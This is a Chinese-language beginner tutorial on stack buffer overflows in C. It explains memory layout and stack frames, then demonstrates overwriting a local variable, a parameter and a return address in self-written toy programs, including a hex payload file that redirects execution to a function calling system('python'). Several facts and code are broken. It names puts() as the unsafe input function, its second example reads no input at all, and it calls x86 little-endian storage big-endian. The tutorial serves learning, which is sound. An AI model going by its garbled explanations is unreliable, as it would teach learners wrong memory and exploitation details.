溢出型漏洞
前言:自己刚开始看这一块,加上自己的C语言基础并不好,很多地方都是参考的其他文章,所以可能会有很多错误的地方
1.基于C语言的缓冲区溢出漏洞分析
1.1 缓冲区溢出漏洞介绍
1.1.1 缓冲区溢出漏洞
- 缓冲区溢出漏洞是指在设计计算机系统软件或者应用软件时,采用了一些年代久远如汇编,C,C++等编程语言,而这些语言在设计指出并没有考虑在内存管理上的安全性,十分依赖程序员,所以当采用了不安全的函数(例如C的
puts()
)来接受输入的数据时,因为没有考虑到数据的长度的合法性,可能会造成数据超过本来的应有长度,从而覆盖掉后面的数据,之后程序读取后面的数据时便会发生各种错误,引发风险
1.1.2 漏洞产生背景
- 以C语言为例,在C语言设计之初,因为计算机的硬件资源十分有限,因此自动化的内存管理(如Java,Python的垃圾回收机制)和内存检查(如数组的边界检查)的实现是不现实的,需要程序员手动进行内存的管理,这在当时并没有什么不妥,而且当时C语言设计人员也是着重考虑功能的增强,也没有考虑安全性问题,所以就有了各种安全性漏洞的产生,其中比较多的就是缓冲区溢出漏洞
1.2 C语言中内存的划分
1.2.1 内存划分
内存划分示意图
(1)代码区(text segment)
- 存放CPU执行的机器指令(machine instructions),代码区指令根据程序设计流程依次执行,可以通过跳转指令来实现其他函数代码的执行。
- 通常,代码区是可共享的(即另外的执行程序可以调用它),因为对于频繁被执行的程序,只需要在内存中有一份代码即可。代码区通常是只读的,使其只读的原因是防止程序意外地修改了它的指令。另外,代码区还规划了局部变量的相关信息
(2)全局初始化数据区/静态数据区(Data Segment)
- 数据段通常是指用来存放程序中已初始化的全局变量的一块内存区域。数据段属于静态内存分配。
- 数据段中的静态数据区存放的是程序中已初始化的全局变量、静态变量和常量
char* s = "ABC"
存储在常量区,因此只读不可改;char[] s = "ABC"
,存储在栈,因此是可改的const
修饰的全局变量也为常量
(3)未初始化数据区 (Block Started by Symbol,BSS)
- 通常是指用来存放程序中未初始化的全局变量的一块内存区域,属于静态内存分配,即程序一开始就将其清零或者被赋为NULL。一般在初始化时BSS段部分将会清零
(4)堆区
- 堆是用于存放进程运行中被动态分配的内存段,它的大小并不固定,可动态扩张或缩减
- 当进程调用
malloc
等函数分配内存时,新分配的内存就被动态添加到堆上(堆被扩张);当利用free
等函数释放内存时,被释放的内存从堆中被剔除(堆被缩减) - 在将应用程序加载到内存空间执行时,操作系统负责代码段、数据段和BSS段的加载,并将在内存中为这些段分配空间。栈段亦由操作系统分配和管理,而不需要程序员显示地管理;堆段由程序员自己管理,即显式地申请和释放空间
(5)栈区
- 该区存放函数的参数值、局部变量的值等,以及在进行任务切换时存放当前任务的上下文内容。其操作方式类似于数据结构中的栈。每当一个函数被调用,该函数返回地址和一些关于调用的信息,比如某些寄存器的内容,被存储到栈区。从这个意义上讲,我们可以把堆栈看成一个寄存、交换临时数据的内存区
- 栈的分配由系统进行,所以效率要比靠依据函数库算法来分配的堆效率要高
- 栈向低字节方向增长
1.2.2 进行内存划分的意义
(1)意义
一个进程在运行过程中,代码是根据流程依次执行的,只需要访问一次,当然跳转和递归有可能使代码执行多次,而数据一般都需要访问多次,因此单独开辟空间以方便访问和节约空间。
临时数据及需要再次使用的代码在运行时放入栈区中,生命周期短。
局数据和静态数据有可能在整个程序执行过程中都需要访问,因此单独存储管理。
堆区由用户自由分配,以便管理
2 溢出漏洞
2.1 栈溢出漏洞
2.1.1 栈溢出漏洞
- 栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被覆盖
- 栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程
- 发生栈溢出的基本前提是
- 程序必须向栈上写入数据
- 写入的数据大小没有被良好地控制
2.1.2 栈帧 stack frame
(1)栈帧包括
- 函数的返回地址和参数
- 临时变量: 包括函数的非静态局部变量以及编译器自动生成的其他临时变量‘
- 函数调用的上下文-寄存器
(2)重要的寄存器
- CPU的寄存器保存的是指向其所需要的信息的内存地址
EBP
:基址寄存器,指向栈底ebp
用来存储当前函数状态的基地址,在函数运行时不变,可以用来索引确定函数参数或局部变量的位置
ESP
:栈顶寄存器,指向栈顶esp
用来存储函数调用栈的栈顶地址,在压栈和退栈时发生变化
EIP
:程序计数器,指向的地址的值保存着下一条要进行的指令- cpu 依照
eip
的存储内容读取指令并执行eip
随之指向相邻的下一条指令,如此反复,程序就得以连续执行指令
- cpu 依照
(3)操作栈的常用指令
push
:压栈,PUSH
指令会对ESP
/RSP
/SP
寄存器的值进行减法运算,使之减去4字节(32位)或8字节(64位),然后将操作数写到上述寄存器里的指针所指向的内存中
pop
:弹栈POP
指令是PUSH
指令的逆操作:它先从栈指针指向的内存中读取数据,用以备用(通常是写到其他寄存器里),然后再将栈指针的数值加上4字节或8字节
(4)函数调用过程
main函数调用fun,称main函数为
caller
,被调用函数fun称为callee
:- 在压栈的过程中,
esp
寄存器的值不断减小(对应于栈从内存高地址向低地址生长)。压入栈内的数据包括调用参数、返回地址、调用函数的基地址,以及局部变量- 其中调用参数以外的数据共同构成了被调用函数(callee)的状态。
- 在发生调用时,程序还会将被调用函数(callee)的指令地址存到eip寄存器内,这样程序就可以依次执行被调用函数的指令了
- 首先将
callee
函数的参数逆序压入栈,(如果被调用函数calle不需要参数,则没有这一步骤) - 将被调用的函数
callee
压入栈后,将调用函数caller
进行调用之后的下一条指令地址作为返回地址压入栈内(即压入calle结束后需要执行的指令,以便告诉CPU这个函数调用完成之后该干什么,本例即返回到main函数的return
处),这样调用函数(caller)
的eip(指令)
信息得以保存 - 将当前
ebp
寄存器中的值(也就是调用函数的基地址)压入栈内,并将ebp
寄存器的值更新为当前栈顶的地址(即caller的esp
地址)- 这样这样调用函数
caller
的ebp(基地址)
信息得以保存。同时,ebp
被更新为被调用函数callee
的基地址(将当前栈顶地址传到ebp
寄存器内)
- 这样这样调用函数
esp
的值减去一个字节数目值,实现esp
向低字节移动- 之后将被调用函数
callee
的局部变量等数据压入栈内 - 开始执行
eip
的指向的内存地址中的指令
- 在压栈的过程中,
当被调用函数
callee
完成之后,需要丢弃被调用函数callee
的状态,并将栈顶恢复为调用函数caller
的状态首先被调用函数的局部变量会从栈内直接弹出,栈顶会指向被调用函数
callee
的基地址然后将基地址内存存储的调用函数
caller
的基地址从栈内弹出,并存储到ebp
寄存器内- 这样调用函数
caller
的ebp(基地址)
信息得以恢复。此时栈顶会指向返回地址(即esp
寄存器的值更新为被调用函数callee
执行时的ebp
的值)
- 这样调用函数
再将返回地址从栈内弹出,并存到
eip
寄存器内。这样调用函数caller
的eip(指令)
信息得以恢复。至此caller的函数状态就全部恢复了,之后就是继续执行调用函数的指令
2.1.3 利用栈溢出漏洞
(1)利用栈溢出覆盖函数的局部变量数据值
C语言中的
gets()
从标准输入设备读字符串函数,其可以无限读取,不会判断上限,所以会造成溢出,所以可以利用这个漏洞来实现程序的数据以及流程的改变以下是一个键盘输入与内置的局部变量的值的判断,然后决定是否执行特定程序的程序
#include <stdio.h> #include <stdlib.h> #include <string.h> void fun() { char password[6] = "ABCDE"; char str[6]; gets(str); str[5] = '\0'; if (strcmp(str, password) == 0){ //比较stryupassword的值是否相同 printf("开始执行python!\n"); system("python"); //开始启动python程序 } else{ printf("NO!\n"); } } int main() { fun(); return 0; }
首先在fun()处设置一个断点,表示下一步要进入fun()函数内,此时:
EIP = 0x006E18B0
ESP = 0x003EF850
EBP = 0x003EF920
fun函数开头的汇编指令:
void fun() { 006E18B0 push ebp 006E18B1 mov ebp,esp 006E18B3 sub esp,0E0h
- 可看出
EIP
寄存器地址存储的指令就是将ebp
寄存器内容(相应的地址)利用push
指令压入栈 mov
指令将esp
寄存器的内容复制到ebp
中sub
指令将esp寄存器的内容额外减去0x0e0h
,即esp
向低地址移动0x0e0h个字节
- 可看出
当我们的fun函数执行到
gets(str)
时,查看变量的地址以及内存的值变量的内存位置 attack 0x006e1840 {StackOverflow.exe!attack(...)} void (...) fun 0x006e18b0 {StackOverflow.exe!fun(...)} void (...) str 0x00cffacc "烫烫烫... char[0x00000006] password 0x00cffadc "ABCDE" char[0x00000006]
内存视图 0x00CFFACC [cc cc cc cc cc cc]cc cc ???????? 0x00CFFAD4 cc cc cc cc cc cc cc cc ???????? 0x00CFFADC [41 42 43 44 45 00]cc cc ABCDE.?? 0x00CFFAE4 cc cc cc cc bc fb cf 00 ???????.
0x00CFFADC
开始便可以看出连续的6个字节对应的就是"ABCDE",即password的值,最后的是'\0'
为结束符0x00CFFACC
对应的为str的起始位置
由于puts函数不会限制输入数据的长度,所以我们可以通过输入特定字符在覆盖掉password
- 这里由于str是从0x00CFFACC开始的我们要输如21个字节(从str开始到45),我们连续输入21个A
输入完毕后,运行到if语句时,再次查看内存
内存视图 0x00CFFACC [41 41 41 41 41 00]41 41 AAAAA.AA 0x00CFFAD4 41 41 41 41 41 41 41 41 AAAAAAAA 0x00CFFADC [41 41 41 41 41 00]cc cc AAAAA.?? 0x00CFFAE4 cc cc cc cc bc fb cf 00 ???????.
- 此时password的值已经被覆盖为为"AAAAA",与str的值相同,故可以通过strcmp校验
结果
结束后,此时EIP内容为main函数之后的指令地址,继续执行main函数,程序完成
注:实际上可能因编译器不同,环境不同,其str与password内存位置差距也不同,需要自行判断
(2)利用栈溢出漏洞覆盖参数值
再来看一个,通过写入字符数据来覆盖整形key,使得该key值与口令相等
#include <stdio.h> #include <stdlib.h> #include <string.h> void fun(int key) { char buffer[5]; puts(buffer); if (key == 0x41424344) { //对应的char为a,b,c,d printf("开始执行python!\n"); system("python"); } else { printf("NO!\n"); } } int main() { fun(0x45464748); return 0; }
和之前相同,观察
&password
以及&key
的值内存视图 0x00D3F790 [a8 f7 d3 00]06 c0 6c 00 ???..?l. 0x00D3F798 f0 f7 d3 00 0d 1a 6c 00 ???...l. 0x00D3F7A0 [48 47 46 45]52 13 6c 00 HGFER.l. 变量内存位置 buffer 0x00D3F790 &key 0x00D3F7A0
key位于参数位置,所以通过写入20个字节数据覆盖掉key这个参数的值就可以了,让key的新值为0x41424344(即输入字符的最后四个字符为DBCA)就可以了
- 因为整形数值为大段存储所以需要倒过来
输入16个字符+DCBA,结果:
- 注意因为顺便修改了EBP和返回地址,所以函数执行完之后便会,如果不想崩溃的话,需要将该字段的值保持和原来相同,即将第9-16个字符设为相应的ascll码对应的字符(该处很多没有对应的字符,所以不可能和原来相同,如果是通过读取文本的方式来输入key,可以用16进制编辑器来编辑相应的文本数据内容)
(3)利用栈溢出漏洞修改返回地址,实现函数的跳转
由于EBP后的四个字节为返回地址,即函数执行完之后的下一条执行的指令地址,可以通过修改该字段来实现执行特定的函数
代码如下
#include <stdio.h> #include <stdlib.h> #include <string.h> void attack() { printf("Attacked!\n"); system("python"); exit(0); } void fun() { char password[6] = "ABCDE"; char str[6]; FILE* fp; if (!(fp = fopen("H:\\SaftyTest\\StackOverflow\\password.txt", "r"))) { exit(0); } fscanf(fp, "%s", str); str[5] = '\0'; if (strcmp(str, password) == 0) printf("OK!\n"); else printf("NO!\n"); } int main(){ fun(); return 0; }
当执行到打开文本函数时,内存信息如下:
内存视图 0x00F7F6C8 [00 10 d4 00 e4 f6]f7 00 ..?.???. 0x00F7F6D0 [41 42 43 44 45 00]a2 00 ABCDE.?. 0x00F7F6D8 [2c f7 f7 00|88 17 a2 00] ,??.?.?. 变量视图 attack 0x00a21880 {StackOverflow.exe!attack(...)} void (...) fun 0x00a218e0 {StackOverflow.exe!fun(...)} void (...) str 0x00f7f6c8 "" char[0x00000006] password 0x00f7f6d0 "ABCDE" char[0x00000006]
此时attack函数地址为
0x00a21880
,所以需要读入数据使得EBP
后的返回地址RET
覆盖为0x00a21880
修改password.txt的文本为如下内容,并保存:
41414141414141414141414141414141414141418018A200
共24字节,最后四位为0x8018a200
注:该内容为16进制内容,实际打开文本看到的内容可能为:
AAAAAAAAAAAAAAAAAAAA€?
这里并没有考虑两个字符数组比较的问题,如果想要显示OK,只需前str与password的相同位后的值改为‘/0’即可(对应文本的16进制内容为00)
继续执行程序,内存信息如下:
0x00F7F6C8 41 41 41 41 41 00 41 41 AAAAA.AA 0x00F7F6D0 [41 41 41 41]41 41 41 41 AAAAAAAA 0x00F7F6D8 [41 41 41 41|80 18 a2 00] AAAA€.?.
程序结果:
由于本环境下C语言程序中采用大端存储,即数据的低字节在内存中的字节地址更高,所以最后将几个数据字节顺序倒置
本例子运行完python后直接退出,如果不直接退出的话会发生如(2)一样的结果,原因也相同